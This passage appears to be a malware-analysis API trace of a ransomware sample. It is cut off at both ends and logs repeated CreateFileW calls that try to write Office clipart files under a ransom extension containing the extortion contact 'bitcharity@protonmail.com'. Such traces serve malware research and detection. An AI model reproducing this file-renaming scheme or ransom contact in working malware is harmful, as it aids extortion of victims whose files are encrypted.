lpNewFilePointer=0x0) returned 1 [0250.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.614] CloseHandle (hObject=0x1258) returned 1 [0250.615] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.615] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.616] CloseHandle (hObject=0x1258) returned 1 [0250.617] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.617] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152716.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.617] CloseHandle (hObject=0x1258) returned 1 [0250.618] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.618] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.618] CloseHandle (hObject=0x1258) returned 1 [0250.620] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.620] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.620] CloseHandle (hObject=0x1258) returned 1 [0250.621] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.621] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.622] CloseHandle (hObject=0x1258) returned 1 [0250.623] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.623] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.623] CloseHandle (hObject=0x1258) returned 1 [0250.624] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.624] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.625] CloseHandle (hObject=0x1258) returned 1 [0250.625] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.625] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.626] CloseHandle (hObject=0x1258) returned 1 [0250.627] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.627] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.627] CloseHandle (hObject=0x1258) returned 1 [0250.628] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.628] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.628] CloseHandle (hObject=0x1258) returned 1 [0250.629] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.629] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.629] CloseHandle (hObject=0x1258) returned 1 [0250.630] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.630] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.630] CloseHandle (hObject=0x1258) returned 1 [0250.631] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.632] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.632] CloseHandle (hObject=0x1258) returned 1 [0250.633] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.633] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.633] CloseHandle (hObject=0x1258) returned 1 [0250.634] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.634] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.635] CloseHandle (hObject=0x1258) returned 1 [0250.636] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.636] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.637] CloseHandle (hObject=0x1258) returned 1 [0250.960] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.960] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.961] CloseHandle (hObject=0x1234) returned 1 [0250.962] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.962] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.962] CloseHandle (hObject=0x1234) returned 1 [0250.964] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.964] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.964] CloseHandle (hObject=0x1234) returned 1 [0250.965] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.965] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.965] CloseHandle (hObject=0x1234) returned 1 [0250.965] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.965] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.966] CloseHandle (hObject=0x1234) returned 1 [0250.966] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.966] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.967] CloseHandle (hObject=0x1234) returned 1 [0250.968] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.968] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.969] CloseHandle (hObject=0x1234) returned 1 [0250.969] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.969] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.970] CloseHandle (hObject=0x1234) returned 1 [0250.971] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.971] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.971] CloseHandle (hObject=0x1234) returned 1 [0250.972] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.972] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.972] CloseHandle (hObject=0x1234) returned 1 [0250.973] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.973] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.973] CloseHandle (hObject=0x1234) returned 1 [0250.974] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.974] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.975] CloseHandle (hObject=0x1234) returned 1 [0250.976] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.976] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.976] CloseHandle (hObject=0x1234) returned 1 [0250.977] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.977] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157167.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157167.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.977] CloseHandle (hObject=0x1234) returned 1 [0250.978] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.978] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.979] CloseHandle (hObject=0x1234) returned 1 [0250.980] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.980] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 